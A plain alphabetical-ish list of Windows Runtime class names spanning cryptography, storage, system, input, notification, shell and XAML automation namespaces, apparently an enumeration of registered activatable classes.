Windows.Security.Cryptography.Core.HashAlgorithmNames
Windows.Security.Cryptography.Core.HashAlgorithmProvider
Windows.Security.Cryptography.Core.KeyDerivationAlgorithmNames
Windows.Security.Cryptography.Core.KeyDerivationAlgorithmProvider
Windows.Security.Cryptography.Core.KeyDerivationParameters
Windows.Security.Cryptography.Core.MacAlgorithmNames
Windows.Security.Cryptography.Core.MacAlgorithmProvider
Windows.Security.Cryptography.Core.PersistedKeyProvider
Windows.Security.Cryptography.Core.SymmetricAlgorithmNames
Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider
Windows.Security.Cryptography.CryptographicBuffer
Windows.Security.Cryptography.DataProtection.DataProtectionProvider
Windows.Security.DataProtection.UserDataProtectionManager
Windows.Security.DataProtection.UserDataProtectionManagerInternal
Windows.Security.EnterpriseData.DataProtectionManager
Windows.Security.EnterpriseData.FileProtectionManager
Windows.Security.EnterpriseData.FileRevocationManager
Windows.Security.EnterpriseData.FileUnprotectOptions
Windows.Security.EnterpriseData.ProtectionPolicyAuditInfo
Windows.Security.EnterpriseData.ProtectionPolicyManager
Windows.Security.EnterpriseData.ProtectionPolicyManagerInternal
Windows.Security.EnterpriseData.ProtectionPolicyManagerPrivateBT
Windows.Security.EnterpriseData.ProtectionPolicyManagerPrivatePT
Windows.Security.ExchangeActiveSyncProvisioning.EasClientDeviceInformation
Windows.Security.ExchangeActiveSyncProvisioning.EasClientSecurityPolicy
Windows.Services.Store.StoreAppLicense
Windows.Services.Store.StoreAvailability
Windows.Services.Store.StoreCollectionData
Windows.Services.Store.StoreConsumableResult
Windows.Services.Store.StoreContext
Windows.Services.Store.StoreImage
Windows.Services.Store.StoreLicense
Windows.Services.Store.StorePackageInstallOptions
Windows.Services.Store.StorePackageUpdate
Windows.Services.Store.StorePackageUpdateResult
Windows.Services.TargetedContent.Internal.TargetedContentCacheReader
Windows.Services.TargetedContent.Internal.TargetedContentCacheWriter
Windows.Services.TargetedContent.Internal.TargetedContentIdAliasStore
Windows.Services.TargetedContent.Internal.TargetedContentSubscriptionInternal
Windows.Services.TargetedContent.Internal.TargetedContentTriggerInternal
Windows.Services.TargetedContent.Internal.TargetedContentTriggerManagerInternal
Windows.Services.TargetedContent.Internal.TargetedContentTriggerStateTransition
Windows.Services.TargetedContent.TargetedContentContainer
Windows.Services.TargetedContent.TargetedContentSubscription
Windows.Speech.Shell.VoiceShell
Windows.Storage.AccessCache.StorageApplicationPermissions
Windows.Storage.AccessCache.StorageApplicationPermissionsBrokered
Windows.Storage.AppDataPaths
Windows.Storage.ApplicationData
Windows.Storage.ApplicationDataCompositeValue
Windows.Storage.BulkAccess.FileInformationFactory
Windows.Storage.CachedFileManager
Windows.Storage.Compression.Compressor
Windows.Storage.Compression.Decompressor
Windows.Storage.DownloadsFolder
Windows.Storage.DownloadsFolderStaticsBrokered
Windows.Storage.FileIO
Windows.Storage.FileProperties.GeotagHelper
Windows.Storage.Internal.Pickers.FileOpenPickerOperation
Windows.Storage.Internal.Pickers.FileSavePickerOperation
Windows.Storage.Internal.Pickers.FolderPickerOperation
Windows.Storage.KnownFolders
Windows.Storage.KnownFoldersStaticsBrokered
Windows.Storage.NeighboringFilesQueryFactory
Windows.Storage.PathIO
Windows.Storage.Pickers.CachedFileUpdateManager
Windows.Storage.Pickers.FileOpenPicker
Windows.Storage.Pickers.FileSavePicker
Windows.Storage.Pickers.FolderPicker
Windows.Storage.Pickers.PickerFileType
Windows.Storage.Provider.CachedFileUpdater
Windows.Storage.Provider.StorageProviderFileTypeInfo
Windows.Storage.Provider.StorageProviderGetContentInfoForPathResult
Windows.Storage.Provider.StorageProviderGetPathForContentUriResult
Windows.Storage.Provider.StorageProviderItemProperties
Windows.Storage.Provider.StorageProviderItemProperty
Windows.Storage.Provider.StorageProviderItemPropertyDefinition
Windows.Storage.Provider.StorageProviderKnownFolderEntry
Windows.Storage.Provider.StorageProviderKnownFolderSyncInfo
Windows.Storage.Provider.StorageProviderMoreInfoUI
Windows.Storage.Provider.StorageProviderQuotaUI
Windows.Storage.Provider.StorageProviderStatusUI
Windows.Storage.Provider.StorageProviderSyncRootInfo
Windows.Storage.Provider.StorageProviderSyncRootManager
Windows.Storage.Search.ContentIndexer
Windows.Storage.Search.IndexableContent
Windows.Storage.Search.Internal.BrokeredStorageLibraryContentChangedTriggerHelper
Windows.Storage.Search.QueryOptions
Windows.Storage.Search.ValueAndLanguage
Windows.Storage.StorageFile
Windows.Storage.StorageFileStaticsBrokered
Windows.Storage.StorageFolder
Windows.Storage.StorageFolderStaticsBrokered
Windows.Storage.StorageLibrary
Windows.Storage.StorageLibraryChangeTrackerOptions
Windows.Storage.StorageLibraryLastChangeId
Windows.Storage.StorageLibraryStaticsBrokered
Windows.Storage.Streams.Buffer
Windows.Storage.Streams.BufferFactory
Windows.Storage.Streams.DataReader
Windows.Storage.Streams.DataReaderFactory
Windows.Storage.Streams.DataWriter
Windows.Storage.Streams.DataWriterFactory
Windows.Storage.Streams.FileRandomAccessStream
Windows.Storage.Streams.FileRandomAccessStreamStaticsBrokered
Windows.Storage.Streams.InMemoryRandomAccessStream
Windows.Storage.Streams.RandomAccessStream
Windows.Storage.Streams.RandomAccessStreamReference
Windows.Storage.SystemDataPaths
Windows.Storage.SystemProperties
Windows.Storage.UserDataPaths
Windows.System.AppDiagnosticInfo
Windows.System.ApplicationLifetime
Windows.System.AppMemoryReport
Windows.System.AppMemoryUsageLimitChangingEventArgs
Windows.System.AppUriHandlerHost
Windows.System.AppUriHandlerRegistrationManager
Windows.System.BrokeredLauncher
Windows.System.DateTimeSettings
Windows.System.Diagnostics.DiagnosticInvoker
Windows.System.Diagnostics.Internal.ProcessDiagnosticInfoInternal
Windows.System.Diagnostics.ProcessDiagnosticInfo
Windows.System.Diagnostics.SystemDiagnosticInfo
Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient
Windows.System.Diagnostics.Telemetry.PlatformTelemetryRegistrationSettings
Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions
Windows.System.DispatcherQueue
Windows.System.DispatcherQueueController
Windows.System.Display.DisplayRequest
Windows.System.FolderLauncherOptions
Windows.System.Implementation.FileExplorer.SysStorageProviderEventReceivedEventArgs
Windows.System.Internal.AppDiagnosticInfoInternal
Windows.System.Internal.Clip.ActivationInformation
Windows.System.Internal.Clip.ActivationManager
Windows.System.Internal.Clip.SubscriptionsManager
Windows.System.Internal.CredentialSerialization
Windows.System.Internal.Launch.LauncherQueryInfo
Windows.System.Internal.Launch.LauncherService
Windows.System.Internal.Launch.QueryAssociationBroker
Windows.System.Internal.Launch.RemoteLauncherInterop
Windows.System.Internal.Launch.StateRepositorySource
Windows.System.Internal.Launch.StoreLauncher
Windows.System.Internal.RemoteSystems.RemoteSystemBinaryChannel
Windows.System.Internal.RemoteSystems.RemoteSystemBroker
Windows.System.Internal.RemoteSystems.RemoteSystemInterop
Windows.System.Internal.UserAccountInformation
Windows.System.Internal.UserDeviceAssociationInternal
Windows.System.Internal.UserManager
Windows.System.Internal.WCOS.WCOSUserManager
Windows.System.Internal.XboxLive.Auth.AuthManager
Windows.System.Inventory.InstalledDesktopApp
Windows.System.KnownUserProperties
Windows.System.Launcher
Windows.System.LauncherOptions
Windows.System.Licensing.ActivationDiagnosis
Windows.System.Licensing.ActivationTroubleshooter
Windows.System.Licensing.LicensingPolicyManager
Windows.System.Licensing.ProductKeyProperties
Windows.System.Licensing.ProductKeyRedemptionResult
Windows.System.MemoryManager
Windows.System.Power.BackgroundEnergyManager
Windows.System.Power.Diagnostics.BackgroundEnergyDiagnostics
Windows.System.Power.Diagnostics.ForegroundEnergyDiagnostics
Windows.System.Power.ForegroundEnergyManager
Windows.System.Power.PowerManager
Windows.System.Preview.TwoPanelHingedDevicePosturePreview
Windows.System.ProcessLauncher
Windows.System.ProcessLauncherOptions
Windows.System.ProcessMemoryReport
Windows.System.Profile.AnalyticsInfo
Windows.System.Profile.AppApplicability
Windows.System.Profile.EducationSettings
Windows.System.Profile.HardwareIdentification
Windows.System.Profile.HardwareIdentificationDesktopImpl
Windows.System.Profile.HardwareIdentificationInternal
Windows.System.Profile.KnownRetailInfoProperties
Windows.System.Profile.PlatformAutomaticAppSignInManager
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings
Windows.System.Profile.RetailInfo
Windows.System.Profile.SharedModeSettings
Windows.System.Profile.SmartAppControlPolicy
Windows.System.Profile.SystemIdentification
Windows.System.Profile.SystemManufacturers.SmbiosInformation
Windows.System.Profile.SystemManufacturers.SystemSupportInfo
Windows.System.Profile.SystemSetupInfo
Windows.System.Profile.UnsupportedAppRequirement
Windows.System.Profile.WindowsIntegrityPolicy
Windows.System.RemoteDesktop.Input.RemoteTextConnection
Windows.System.RemoteDesktop.Input.RemoteTextKeyRedirector
Windows.System.RemoteDesktop.InteractiveSession
Windows.System.RemoteDesktop.Provider.RemoteDesktopConnectionInfo
Windows.System.RemoteDesktop.Provider.RemoteDesktopConnectionRemoteInfo
Windows.System.RemoteDesktop.Provider.RemoteDesktopInfo
Windows.System.RemoteDesktop.Provider.RemoteDesktopRegistrar
Windows.System.RemoteLauncher
Windows.System.RemoteLauncherOptions
Windows.System.RemoteSystems.KnownRemoteSystemCapabilities
Windows.System.RemoteSystems.RemoteSystem
Windows.System.RemoteSystems.RemoteSystemApplication
Windows.System.RemoteSystems.RemoteSystemAppRegistration
Windows.System.RemoteSystems.RemoteSystemAuthorizationKindFilter
Windows.System.RemoteSystems.RemoteSystemConnectionInfo
Windows.System.RemoteSystems.RemoteSystemConnectionRequest
Windows.System.RemoteSystems.RemoteSystemDiscoveryTypeFilter
Windows.System.RemoteSystems.RemoteSystemKindFilter
Windows.System.RemoteSystems.RemoteSystemKinds
Windows.System.RemoteSystems.RemoteSystemSession
Windows.System.RemoteSystems.RemoteSystemSessionController
Windows.System.RemoteSystems.RemoteSystemSessionInvitationListener
Windows.System.RemoteSystems.RemoteSystemSessionMessageChannel
Windows.System.RemoteSystems.RemoteSystemSessionOptions
Windows.System.RemoteSystems.RemoteSystemStatusTypeFilter
Windows.System.RemoteSystems.RemoteSystemWebAccountFilter
Windows.System.ShutdownManager
Windows.System.Threading.Core.PreallocatedWorkItem
Windows.System.Threading.Core.SignalNotifier
Windows.System.Threading.ThreadPool
Windows.System.Threading.ThreadPoolTimer
Windows.System.TimeZoneSettings
Windows.System.Update.SystemUpdateManager
Windows.System.User
Windows.System.UserDeviceAssociation
Windows.System.UserPicker
Windows.System.UserProfile.AdvertisingManager
Windows.System.UserProfile.AdvertisingManagerHelper
Windows.System.UserProfile.AssignedAccessSettings
Windows.System.UserProfile.DiagnosticsSettings
Windows.System.UserProfile.FirstSignInSettings
Windows.System.UserProfile.GlobalizationPreferences
Windows.System.UserProfile.GlobalizationPreferencesBrokered
Windows.System.UserProfile.LockScreen
Windows.System.UserProfile.UserInformation
Windows.System.UserProfile.UserProfilePersonalizationSettings
Windows.UI.Accessibility.ScreenReaderService
Windows.UI.ApplicationSettings.AccountsSettingsPane
Windows.UI.ApplicationSettings.CredentialCommand
Windows.UI.ApplicationSettings.SettingsCommand
Windows.UI.ApplicationSettings.SettingsPane
Windows.UI.ApplicationSettings.WebAccountCommand
Windows.UI.ApplicationSettings.WebAccountProviderCommand
Windows.UI.ColorHelper
Windows.UI.Colors
Windows.UI.Composition.AnimationController
Windows.UI.Composition.CompositionCapabilities
Windows.UI.Composition.CompositionEasingFunction
Windows.UI.Composition.CompositionEffectSourceParameter
Windows.UI.Composition.CompositionImageOptions
Windows.UI.Composition.CompositionIsland
Windows.UI.Composition.CompositionIslandEnvironment
Windows.UI.Composition.CompositionObject
Windows.UI.Composition.CompositionPath
Windows.UI.Composition.CompositionProjectedShadowCasterCollection
Windows.UI.Composition.Compositor
Windows.UI.Composition.Core.CompositorController
Windows.UI.Composition.DelegatedInkCanvasVisual
Windows.UI.Composition.DelegatedInkTrailVisual
Windows.UI.Composition.Diagnostics.CompositionDebugSettings
Windows.UI.Composition.Effects.SceneLightingEffect
Windows.UI.Composition.Effects.WhiteNoiseEffect
Windows.UI.Composition.ExpressionAnimation
Windows.UI.Composition.Interactions.CompositionConditionalValue
Windows.UI.Composition.Interactions.InteractionTracker
Windows.UI.Composition.Interactions.InteractionTrackerInertiaMotion
Windows.UI.Core.CoreCursorFactory
Windows.UI.Core.CoreDispatcher
Windows.UI.Core.CoreIndependentInputSourceController
Windows.UI.Core.CoreWindow
Windows.UI.Core.CoreWindowDialog
Windows.UI.Core.CoreWindowFlyout
Windows.UI.Core.CoreWindowHost
Windows.UI.Core.CoreWindowResizeManager
Windows.UI.Core.InternalCoordinateConversionStatics
Windows.UI.Composition.Interactions.InteractionTrackerInertiaRestingValue
Windows.UI.Composition.Interactions.InteractionTrackerVector2InertiaNaturalMotion
Windows.UI.Composition.Interactions.Internal.EdgyExperienceSource
Windows.UI.Composition.Interactions.VisualInteractionSource
Windows.UI.Composition.Internal.HolographicCompositionDisplay
Windows.UI.Composition.Internal.HolographicCompositor
Windows.UI.Composition.Internal.SharedD3DDevice
Windows.UI.Composition.MouseInteractionConfiguration
Windows.UI.Composition.PenInteractionConfiguration
Windows.UI.Composition.Private.TransformInformation
Windows.UI.Composition.Scenes.SceneMesh
Windows.UI.Composition.Interactions.InteractionTrackerInertiaNaturalMotion
Windows.UI.Composition.Scenes.SceneMeshRendererComponent
Windows.UI.Composition.Scenes.SceneMetallicRoughnessMaterial
Windows.UI.Composition.Scenes.SceneNode
Windows.UI.Composition.Scenes.SceneSurfaceMaterialInput
Windows.UI.Composition.Scenes.SceneVisual
Windows.UI.Composition.TouchInteractionConfiguration
Windows.UI.Composition.TouchpadInteractionConfiguration
Windows.UI.Core.AnimationMetrics.AnimationDescription
Windows.UI.Core.ComponentDisplayInformation
Windows.UI.Core.CoreCursor
Windows.UI.Xaml.Automation.Peers.AppBarAutomationPeer
Windows.UI.Xaml.Automation.Peers.AppBarButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.AppBarToggleButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.AutomationPeer
Windows.UI.Xaml.Automation.Peers.AutomationPeerAnnotation
Windows.UI.Xaml.Automation.Peers.AutoSuggestBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.ButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.ButtonBaseAutomationPeer
Windows.UI.Xaml.Automation.Peers.CalendarDatePickerAutomationPeer
Windows.UI.Xaml.Automation.Peers.CaptureElementAutomationPeer
Windows.UI.Xaml.Automation.Peers.CheckBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.ColorPickerSliderAutomationPeer
Windows.UI.Xaml.Automation.Peers.ColorSpectrumAutomationPeer
Windows.UI.Xaml.Automation.Peers.ComboBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.ComboBoxItemAutomationPeer
Windows.UI.Core.InternalUICoreStatics
Windows.UI.Core.Preview.CoreAppWindowPreview
Windows.UI.Core.Preview.SystemNavigationManagerPreview
Windows.UI.Core.Private.DesktopWindowContentBridge
Windows.UI.Core.SystemNavigationManager
Windows.UI.CustomMaterialProperties
Windows.UI.Input.Core.RadialControllerIndependentInputSource
Windows.UI.Input.EdgeGesture
Windows.UI.Input.GestureRecognizer
Windows.UI.Input.InjectionBroker
Windows.UI.Input.Inking.Analysis.InkAnalyzer
Windows.UI.Input.Inking.Core.CoreIncrementalInkStroke
Windows.UI.Input.Inking.Core.CoreInkIndependentInputSource
Windows.UI.Input.Inking.Core.CoreInkPresenterHost
Windows.UI.Input.Inking.Core.CoreWetStrokeUpdateSource
Windows.UI.Input.Inking.InkDrawingAttributes
Windows.UI.Input.Inking.InkManager
Windows.UI.Input.Inking.InkPoint
Windows.UI.Input.Inking.InkPresenter
Windows.UI.Input.Inking.InkPresenterHost
Windows.UI.Input.Inking.InkPresenterProtractor
Windows.UI.Input.Inking.InkPresenterRuler
Windows.UI.Input.Inking.InkRecognizerContainer
Windows.UI.Input.Inking.InkStrokeBuilder
Windows.UI.Input.Inking.InkStrokeContainer
Windows.UI.Input.Inking.Internal.InkPointDrawingAttributes
Windows.UI.Input.Inking.Internal.PenAndInkSettingsPrivate
Windows.UI.Input.Inking.PenAndInkSettings
Windows.UI.Input.Inking.Preview.PalmRejectionDelayZonePreview
Windows.UI.Input.InputActivationListener
Windows.UI.Input.Internal.Inking.InkEraser
Windows.UI.Input.Internal.Inking.InkStrokeContainerStatics
Windows.UI.Input.Internal.Inking.InkStrokeStatics
Windows.UI.Input.Internal.Inking.PalmRejectionDelayZone
Windows.UI.Input.KeyboardDeliveryInterceptor
Windows.UI.Input.PointerPoint
Windows.UI.Input.PointerVisualizationSettings
Windows.UI.Input.Preview.Injection.InjectedInputButtonInfo
Windows.UI.Input.Preview.Injection.InjectedInputGamepadInfo
Windows.UI.Input.Preview.Injection.InjectedInputGamepadInfoFactory
Windows.UI.Input.Preview.Injection.InjectedInputKeyboardInfo
Windows.UI.Input.Preview.Injection.InjectedInputMouseInfo
Windows.UI.Input.Preview.Injection.InjectedInputPenInfo
Windows.UI.Input.Preview.Injection.InjectedInputTouchInfo
Windows.UI.Input.Preview.Injection.InputInjector
Windows.UI.Input.Preview.InputActivationListenerPreview
Windows.UI.Input.RadialController
Windows.UI.Input.RadialControllerConfiguration
Windows.UI.Input.RadialControllerMenu
Windows.UI.Input.RadialControllerMenuItem
Windows.UI.Input.Spatial.Internal.PrivEventArgs
Windows.UI.Input.Spatial.SpatialGestureRecognizer
Windows.UI.Input.Spatial.SpatialInteractionManager
Windows.UI.Input.Spatial.SpatialPointerPose
Windows.UI.Input.SystemButtonEventController
Windows.UI.Internal.Input.ActivationConfigurationInputObject
Windows.UI.Internal.Input.ActivationController
Windows.UI.Internal.Input.ActivationWatcher
Windows.UI.Internal.Input.ActuationWinRT
Windows.UI.Internal.Input.AttachableInputObjectSample
Windows.UI.Internal.Input.ComponentSiteInputObject
Windows.UI.Internal.Input.ContainerInfoInputObject
Windows.UI.Internal.Input.CursorSuppressionPolicyObject
Windows.UI.Internal.Input.DelegatedInkCanvasInputObject
Windows.UI.Internal.Input.DeviceDockWatcher
Windows.UI.Internal.Input.DevicePosture
Windows.UI.Internal.Input.EdgyController
Windows.UI.Internal.Input.EdgyGestureRecognitionConfiguration
Windows.UI.Internal.Input.EyeControlApp
Windows.UI.Internal.Input.EyeControlUI
Windows.UI.Internal.Input.FocusController
Windows.UI.Internal.Input.FocusObserver
Windows.UI.Internal.Input.ForegroundManager
Windows.UI.Internal.Input.InputActivationListenerPartner
Windows.UI.Internal.Input.InputAnimationTarget
Windows.UI.Internal.Input.InputDelegationInputObject
Windows.UI.Internal.Input.InputDragArea
Windows.UI.Internal.Input.InputDragManager
Windows.UI.Internal.Input.InputDragSource
Windows.UI.Internal.Input.InputDropTarget
Windows.UI.Internal.Input.InputEdgyDragSource
Windows.UI.Internal.Input.InputEdgyNotificationSource
Windows.UI.Internal.Input.InputForwardArea
Windows.UI.Internal.Input.InputForwardTarget
Windows.UI.Internal.Input.InputGestureManager
Windows.UI.Internal.Input.InputInjectionObject
Windows.UI.Internal.Input.InputManualDragArea
Windows.UI.Internal.Input.InputManualResizeArea
Windows.UI.Internal.Input.InputResizeArea
Windows.UI.Internal.Input.InputResizeController
Windows.UI.Internal.Input.InputSite
Windows.UI.Internal.Input.InteractiveObjectDeviceManager
Windows.UI.Internal.Input.KeyboardInput
Windows.UI.Internal.Input.LightDismissAction
Windows.UI.Internal.Input.MagnifierController
Windows.UI.Internal.Input.MouseCapture
Windows.UI.Internal.Input.MouseInputObserver
Windows.UI.Internal.Input.MPCInputObject
Windows.UI.Internal.Input.PointerCursorController
Windows.UI.Internal.Input.PointerInputObserver
Windows.UI.Internal.Input.ShellGesturesController
Windows.UI.Internal.Input.ShellHandwritingHost
Windows.UI.Internal.Input.SystemCursorManager
Windows.UI.Internal.Input.SystemParametersController
Windows.UI.Internal.Input.SystemParametersControllerFactory
Windows.UI.Internal.Input.TouchHitTestingProvider
Windows.UI.Internal.Input.UIAHitTest
Windows.UI.Internal.Input.UIAHitTestInputObject
Windows.UI.Internal.Input.VirtualTouchpadController
Windows.UI.Internal.Input.WindowsMessageDelivery
Windows.UI.Internal.Text.Core.CoreInputViewManager
Windows.UI.Internal.Text.Core.CoreKeyboardClient
Windows.UI.Internal.Text.Core.CoreKeyboardInputProfile
Windows.UI.Internal.Text.Core.CoreKeyboardInputProfileManager
Windows.UI.Internal.Text.Core.CoreKeyboardManager
Windows.UI.Internal.Text.Core.CoreTextEditBuffer
Windows.UI.Internal.Text.Core.CoreTextEditViewJunction
Windows.UI.Internal.Text.Core.CoreTextKeyEventListener
Windows.UI.Internal.Text.Core.CoreTextKeyInjector
Windows.UI.Internal.Text.Core.CoreTextSystemInputProcessor
Windows.UI.Internal.Text.Core.GipFactory
Windows.UI.Internal.Text.HotKeyClient
Windows.UI.Internal.Text.Remote.RemoteTextAppIntegration
Windows.UI.Internal.Text.Shell.EmojiSearchDataSource
Windows.UI.Internal.Text.Shell.HitTargetLanguageModel
Windows.UI.Internal.Text.Shell.HitTargetTouchModel
Windows.UI.Internal.ViewManagement.ApplicationViewTab
Windows.UI.Internal.ViewManagement.ApplicationViewTabCommand
Windows.UI.Internal.ViewManagement.ApplicationViewTabIcon
Windows.UI.Internal.ViewManagement.ApplicationViewTabManager
Windows.UI.Internal.ViewManagement.ApplicationViewTabPolicy
Windows.UI.MaterialProperties
Windows.UI.Notifications.AdaptiveNotificationText
Windows.UI.Notifications.BadgeNotification
Windows.UI.Notifications.BadgeUpdateManager
Windows.UI.Notifications.BadgeUpdateManagerForUser
Windows.UI.Notifications.KnownAdaptiveNotificationHints
Windows.UI.Notifications.KnownAdaptiveNotificationTextStyles
Windows.UI.Notifications.KnownNotificationBindings
Windows.UI.Notifications.Management.UserNotificationListener
Windows.UI.Notifications.Notification
Windows.UI.Notifications.NotificationData
Windows.UI.Notifications.Preview.ToastOcclusionManagerPreview
Windows.UI.Notifications.ScheduledTileNotification
Windows.UI.Notifications.ScheduledToastNotification
Windows.UI.Notifications.TileFlyoutNotification
Windows.UI.Notifications.TileFlyoutUpdateManager
Windows.UI.Notifications.TileNotification
Windows.UI.Notifications.TileUpdateManager
Windows.UI.Notifications.TileUpdateManagerForUser
Windows.UI.Notifications.ToastCollection
Windows.UI.Notifications.ToastCollectionManager
Windows.UI.Notifications.ToastNotification
Windows.UI.Notifications.ToastNotificationManager
Windows.UI.Notifications.ToastNotificationManagerForUser
Windows.UI.Popups.MessageDialog
Windows.UI.Popups.PopupMenu
Windows.UI.Popups.UICommand
Windows.UI.Popups.UICommandSeparator
Windows.UI.Shell.AdaptiveCardBuilder
Windows.UI.Shell.FocusSession
Windows.UI.Shell.FocusSessionManager
Windows.UI.Shell.SecurityAppManager
Windows.UI.Shell.ShareWindowCommandSource
Windows.UI.Shell.TaskbarManager
Windows.UI.Shell.WindowTab
Windows.UI.Shell.WindowTabGroup
Windows.UI.Shell.WindowTabIcon
Windows.UI.Shell.WindowTabManager
Windows.UI.StartScreen.JumpList
Windows.UI.StartScreen.JumpListItem
Windows.UI.StartScreen.SecondaryTile
Windows.UI.StartScreen.StartScreenManager
Windows.UI.Text.ContentLinkInfo
Windows.UI.Text.Core.CoreTextServicesConstants
Windows.UI.Text.Core.CoreTextServicesManager
Windows.UI.Text.Core.CoreTextTextFormat
Windows.UI.Text.FontWeights
Windows.UI.Text.TextConstants
Windows.UI.UIAutomation.Core.CoreAutomationRegistrar
Windows.UI.UIAutomation.Core.CoreAutomationRemoteOperation
Windows.UI.UIAutomation.Core.RemoteAutomationClientSession
Windows.UI.UIAutomation.Core.RemoteAutomationServer
Windows.UI.UIContentRoot
Windows.UI.UIContext
Windows.UI.ViewManagement.AccessibilitySettings
Windows.UI.ViewManagement.ActivationViewSwitcher
Windows.UI.ViewManagement.ApplicationView
Windows.UI.ViewManagement.ApplicationViewScaling
Windows.UI.ViewManagement.ApplicationViewSwitcher
Windows.UI.ViewManagement.ApplicationViewTitleBar
Windows.UI.ViewManagement.ApplicationViewTransferContext
Windows.UI.ViewManagement.Core.CoreFrameworkInputView
Windows.UI.ViewManagement.Core.CoreInputView
Windows.UI.ViewManagement.Core.UISettingsController
Windows.UI.ViewManagement.FullscreenPresenter
Windows.UI.ViewManagement.InputPane
Windows.UI.ViewManagement.ProjectionManager
Windows.UI.ViewManagement.StatusBar
Windows.UI.ViewManagement.SystemTray
Windows.UI.ViewManagement.UISettings
Windows.UI.ViewManagement.UIViewSettings
Windows.UI.ViewManagement.ViewModePreferences
Windows.UI.WebUI.WebUIApplication
Windows.UI.WebUI.WebUIBackgroundTaskInstance
Windows.UI.WebUI.WebUIView
Windows.UI.WindowManagement.AppWindow
Windows.UI.WindowManagement.CompactOverlayPresentationConfiguration
Windows.UI.WindowManagement.DefaultPresentationConfiguration
Windows.UI.WindowManagement.DisplayRegion
Windows.UI.WindowManagement.FullScreenPresentationConfiguration
Windows.UI.WindowManagement.Preview.WindowManagementPreview
Windows.UI.WindowManagement.ProjectionPresentationConfiguration
Windows.UI.WindowManagement.SnappedPresentationConfiguration
Windows.UI.WindowManagement.SpanningPresentationConfiguration
Windows.UI.WindowManagement.SupplementalPanePresentationConfiguration
Windows.UI.WindowManagement.WindowInfo
Windows.UI.WindowManagement.WindowingEnvironment
Windows.UI.WindowManagement.WindowServices
Windows.UI.Xaml.AdaptiveTrigger
Windows.UI.Xaml.Application
Windows.UI.Xaml.Automation.AnnotationPatternIdentifiers
Windows.UI.Xaml.Automation.AutomationAnnotation
Windows.UI.Xaml.Automation.AutomationElementIdentifiers
Windows.UI.Xaml.Automation.AutomationProperties
Windows.UI.Xaml.Automation.ComponentPropertyValue
Windows.UI.Xaml.Automation.DockPatternIdentifiers
Windows.UI.Xaml.Automation.DragPatternIdentifiers
Windows.UI.Xaml.Automation.DropTargetPatternIdentifiers
Windows.UI.Xaml.Automation.ExpandCollapsePatternIdentifiers
Windows.UI.Xaml.Automation.GridItemPatternIdentifiers
Windows.UI.Xaml.Automation.GridPatternIdentifiers
Windows.UI.Xaml.Automation.MultipleViewPatternIdentifiers
Windows.UI.Xaml.Automation.Peers.ComboBoxItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.DatePickerAutomationPeer
Windows.UI.Xaml.Automation.Peers.FlipViewAutomationPeer
Windows.UI.Xaml.Automation.Peers.FlipViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.FlipViewItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.FlyoutPresenterAutomationPeer
Windows.UI.Xaml.Automation.Peers.FrameworkElementAutomationPeer
Windows.UI.Xaml.Automation.Peers.GridViewAutomationPeer
Windows.UI.Xaml.Automation.Peers.GridViewHeaderItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.GridViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.GridViewItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.GroupItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.HubAutomationPeer
Windows.UI.Xaml.Automation.Peers.HubSectionAutomationPeer
Windows.UI.Xaml.Automation.Peers.HyperlinkButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.ImageAutomationPeer
Windows.UI.Xaml.Automation.Peers.ItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ItemsControlAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListBoxItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListBoxItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewBaseAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewBaseHeaderItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewHeaderItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.ListViewItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.MediaElementAutomationPeer
Windows.UI.Xaml.Automation.Peers.MediaPlayerElementAutomationPeer
Windows.UI.Xaml.Automation.Peers.MediaTransportControlsAutomationPeer
Windows.UI.Xaml.Automation.Peers.MenuBarAutomationPeer
Windows.UI.Xaml.Automation.Peers.MenuBarItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.MenuFlyoutItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.MenuFlyoutPresenterAutomationPeer
Windows.UI.Xaml.Automation.Peers.NavigationViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.PasswordBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.PersonPictureAutomationPeer
Windows.UI.Xaml.Automation.Peers.PivotAutomationPeer
Windows.UI.Xaml.Automation.Peers.PivotItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.PivotItemDataAutomationPeer
Windows.UI.Xaml.Automation.Peers.ProgressBarAutomationPeer
Windows.UI.Xaml.Automation.Peers.ProgressRingAutomationPeer
Windows.UI.Xaml.Automation.Peers.RadioButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.RadioButtonsListViewItemAutomationPeer
Windows.UI.Xaml.Automation.Peers.RangeBaseAutomationPeer
Windows.UI.Xaml.Automation.Peers.RatingControlAutomationPeer
Windows.UI.Xaml.Automation.Peers.RepeatButtonAutomationPeer
Windows.UI.Xaml.Automation.Peers.RichEditBoxAutomationPeer
Windows.UI.Xaml.Automation.Peers.RichTextBlockAutomationPeer
Windows.UI.Xaml.Automation.Peers.RichTextBlockOverflowAutomationPeer
Windows.UI.Xaml.Automation.Peers.ScrollBarAutomationPeer
